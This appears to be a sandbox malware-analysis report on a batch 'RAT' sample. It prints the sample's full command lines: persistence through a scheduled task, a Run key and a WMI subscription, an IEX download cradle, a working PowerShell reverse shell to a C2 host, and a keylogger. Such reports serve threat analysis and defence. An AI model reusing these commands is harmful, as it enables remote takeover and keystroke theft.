Analysis
- max time kernel
149s - max time network
153s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 01:38
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_173279_014453.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_173279_014453.bat
Resource
win11-20260513-en
General
- Target rat_build_173279_014453.bat
- Size 5KB
- Sample260529-b2e6aag16x
- SHA256 766fb20a36a3a7b438b262b22ce4e3d92f1dd848eca9a81babc00b02706021fb
- MD5 e26e17217dcd181bc1619635500567cb
- SHA1 f6c3ad9ecddd0b579889e76b13552876c8a0e854
- SHA512 657eb59a2e41ea46422d4718e8a2773088dc1613baa2c443ec94048c1b26ae9c00308f4bb3a6b53566a216799991eef8a00dc68436e94f80d50f34418a7bf9ee
- SSDEEP 96:eI+8WKJ7FrJBXYV9/IEFJnTJmO5O9dipKaUIe0o00gJP5a1MiFgZk8mvlo1qU9AX:e9KJVDUBnMo5pudTWiFgkHl1U9Auc
- TLSH T133B1F6136797622099B02624EB33384C435DF5F71304CACDB758CAE52A5EF03A16A7AB
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
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ps1
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ps1.dropper
http://payload.server/update_173279.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2936 powershell.exe 2508 powershell.exe 4824 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1679180529-4058988202-686829476-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_173279 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_173279.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3308 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5696 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 5480 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5404 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2508 powershell.exe 2508 powershell.exe 4824 powershell.exe 4824 powershell.exe 2936 powershell.exe 2936 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5428 WMIC.exe Token: SeSecurityPrivilege 5428 WMIC.exe Token: SeTakeOwnershipPrivilege 5428 WMIC.exe Token: SeLoadDriverPrivilege 5428 WMIC.exe Token: SeSystemProfilePrivilege 5428 WMIC.exe Token: SeSystemtimePrivilege 5428 WMIC.exe Token: SeProfSingleProcessPrivilege 5428 WMIC.exe Token: SeIncBasePriorityPrivilege 5428 WMIC.exe Token: SeCreatePagefilePrivilege 5428 WMIC.exe Token: SeBackupPrivilege 5428 WMIC.exe Token: SeRestorePrivilege 5428 WMIC.exe Token: SeShutdownPrivilege 5428 WMIC.exe Token: SeDebugPrivilege 5428 WMIC.exe Token: SeSystemEnvironmentPrivilege 5428 WMIC.exe Token: SeRemoteShutdownPrivilege 5428 WMIC.exe Token: SeUndockPrivilege 5428 WMIC.exe Token: SeManageVolumePrivilege 5428 WMIC.exe Token: 33 5428 WMIC.exe Token: 34 5428 WMIC.exe Token: 35 5428 WMIC.exe Token: 36 5428 WMIC.exe Token: SeIncreaseQuotaPrivilege 5428 WMIC.exe Token: SeSecurityPrivilege 5428 WMIC.exe Token: SeTakeOwnershipPrivilege 5428 WMIC.exe Token: SeLoadDriverPrivilege 5428 WMIC.exe Token: SeSystemProfilePrivilege 5428 WMIC.exe Token: SeSystemtimePrivilege 5428 WMIC.exe Token: SeProfSingleProcessPrivilege 5428 WMIC.exe Token: SeIncBasePriorityPrivilege 5428 WMIC.exe Token: SeCreatePagefilePrivilege 5428 WMIC.exe Token: SeBackupPrivilege 5428 WMIC.exe Token: SeRestorePrivilege 5428 WMIC.exe Token: SeShutdownPrivilege 5428 WMIC.exe Token: SeDebugPrivilege 5428 WMIC.exe Token: SeSystemEnvironmentPrivilege 5428 WMIC.exe Token: SeRemoteShutdownPrivilege 5428 WMIC.exe Token: SeUndockPrivilege 5428 WMIC.exe Token: SeManageVolumePrivilege 5428 WMIC.exe Token: 33 5428 WMIC.exe Token: 34 5428 WMIC.exe Token: 35 5428 WMIC.exe Token: 36 5428 WMIC.exe Token: SeIncreaseQuotaPrivilege 4436 WMIC.exe Token: SeSecurityPrivilege 4436 WMIC.exe Token: SeTakeOwnershipPrivilege 4436 WMIC.exe Token: SeLoadDriverPrivilege 4436 WMIC.exe Token: SeSystemProfilePrivilege 4436 WMIC.exe Token: SeSystemtimePrivilege 4436 WMIC.exe Token: SeProfSingleProcessPrivilege 4436 WMIC.exe Token: SeIncBasePriorityPrivilege 4436 WMIC.exe Token: SeCreatePagefilePrivilege 4436 WMIC.exe Token: SeBackupPrivilege 4436 WMIC.exe Token: SeRestorePrivilege 4436 WMIC.exe Token: SeShutdownPrivilege 4436 WMIC.exe Token: SeDebugPrivilege 4436 WMIC.exe Token: SeSystemEnvironmentPrivilege 4436 WMIC.exe Token: SeRemoteShutdownPrivilege 4436 WMIC.exe Token: SeUndockPrivilege 4436 WMIC.exe Token: SeManageVolumePrivilege 4436 WMIC.exe Token: 33 4436 WMIC.exe Token: 34 4436 WMIC.exe Token: 35 4436 WMIC.exe Token: 36 4436 WMIC.exe Token: SeIncreaseQuotaPrivilege 4436 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 5344 wrote to memory of 5404 5344 cmd.exe 84 PID 5344 wrote to memory of 5480 5344 cmd.exe 85 PID 5344 wrote to memory of 5428 5344 cmd.exe 86 PID 5344 wrote to memory of 4436 5344 cmd.exe 87 PID 5344 wrote to memory of 5608 5344 cmd.exe 88 PID 5344 wrote to memory of 5696 5344 cmd.exe 89 PID 5344 wrote to memory of 3308 5344 cmd.exe 94 PID 5344 wrote to memory of 2508 5344 cmd.exe 95 PID 5344 wrote to memory of 4824 5344 cmd.exe 96 PID 5344 wrote to memory of 2936 5344 cmd.exe 97 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_173279_014453.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:5344 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_173279" /tr "C:\Users\Admin\AppData\Local\Temp\_173279.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5404
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C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_173279" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_173279.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:5480
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_173279", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:5428
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C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_173279", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_173279.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4436
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_173279.txt2⤵PID:5608
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C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:5696
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C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_173279.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2508
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4824
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2936
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1f5airdx.uhb.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH